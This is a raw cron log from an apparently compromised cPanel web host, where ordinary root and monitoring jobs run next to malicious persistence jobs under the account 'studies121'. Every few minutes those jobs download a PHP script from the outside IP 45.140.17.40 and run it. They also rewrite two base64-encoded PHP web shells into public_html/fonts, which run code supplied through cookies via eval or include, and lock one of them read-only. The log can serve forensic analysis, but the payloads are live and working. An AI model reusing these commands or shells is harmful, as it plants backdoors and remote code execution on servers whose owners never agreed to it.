Sep 12 09:20:01 ip-184-168-122-23 CROND[1008]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 09:20:01 ip-184-168-122-23 CROND[1011]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 09:20:01 ip-184-168-122-23 CROND[1013]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:20:01 ip-184-168-122-23 CROND[1014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:20:01 ip-184-168-122-23 CROND[1020]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 09:20:01 ip-184-168-122-23 CROND[1019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:20:01 ip-184-168-122-23 CROND[1018]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 09:20:01 ip-184-168-122-23 CROND[1016]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 09:20:01 ip-184-168-122-23 CROND[1017]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:21:01 ip-184-168-122-23 CROND[1196]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:21:01 ip-184-168-122-23 CROND[1198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:21:01 ip-184-168-122-23 CROND[1200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:21:01 ip-184-168-122-23 CROND[1199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:22:01 ip-184-168-122-23 CROND[1346]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:22:01 ip-184-168-122-23 CROND[1348]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:22:01 ip-184-168-122-23 CROND[1350]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 09:22:01 ip-184-168-122-23 CROND[1351]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:22:01 ip-184-168-122-23 CROND[1349]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:23:01 ip-184-168-122-23 CROND[1482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:23:02 ip-184-168-122-23 CROND[1485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:23:02 ip-184-168-122-23 CROND[1486]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:23:02 ip-184-168-122-23 CROND[1484]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:24:01 ip-184-168-122-23 CROND[1580]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:24:01 ip-184-168-122-23 CROND[1583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:24:01 ip-184-168-122-23 CROND[1582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:24:01 ip-184-168-122-23 CROND[1585]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 09:24:01 ip-184-168-122-23 CROND[1584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:25:01 ip-184-168-122-23 CROND[1672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:25:01 ip-184-168-122-23 CROND[1673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:25:01 ip-184-168-122-23 CROND[1674]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 09:25:01 ip-184-168-122-23 CROND[1675]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 09:25:01 ip-184-168-122-23 CROND[1677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:25:01 ip-184-168-122-23 CROND[1678]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:26:01 ip-184-168-122-23 CROND[1880]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:26:01 ip-184-168-122-23 CROND[1881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:26:01 ip-184-168-122-23 CROND[1882]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 09:26:01 ip-184-168-122-23 CROND[1883]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:26:01 ip-184-168-122-23 CROND[1884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:27:01 ip-184-168-122-23 CROND[1974]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:27:01 ip-184-168-122-23 CROND[1976]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:27:01 ip-184-168-122-23 CROND[1975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:27:01 ip-184-168-122-23 CROND[1977]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:28:01 ip-184-168-122-23 CROND[2082]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:28:01 ip-184-168-122-23 CROND[2084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:28:01 ip-184-168-122-23 CROND[2086]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 09:28:01 ip-184-168-122-23 CROND[2088]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:28:01 ip-184-168-122-23 CROND[2087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:29:01 ip-184-168-122-23 CROND[2201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:29:01 ip-184-168-122-23 CROND[2203]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:29:01 ip-184-168-122-23 CROND[2202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:29:01 ip-184-168-122-23 CROND[2205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:30:01 ip-184-168-122-23 CROND[2302]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 09:30:01 ip-184-168-122-23 CROND[2303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:30:01 ip-184-168-122-23 CROND[2306]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:30:01 ip-184-168-122-23 CROND[2310]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 09:30:01 ip-184-168-122-23 CROND[2312]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 09:30:01 ip-184-168-122-23 CROND[2311]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 09:30:01 ip-184-168-122-23 CROND[2308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:30:01 ip-184-168-122-23 CROND[2317]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:31:01 ip-184-168-122-23 CROND[2503]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:31:01 ip-184-168-122-23 CROND[2505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 09:31:01 ip-184-168-122-23 CROND[2506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 09:31:01 ip-184-168-122-23 CROND[2508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 09:31:01 ip-184-168-122-23 CROND[2507]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 09:32:01 ip-184-168-122-23 CROND[2612]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 09:32:01 ip-184-168-122-23 CROND[2613]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
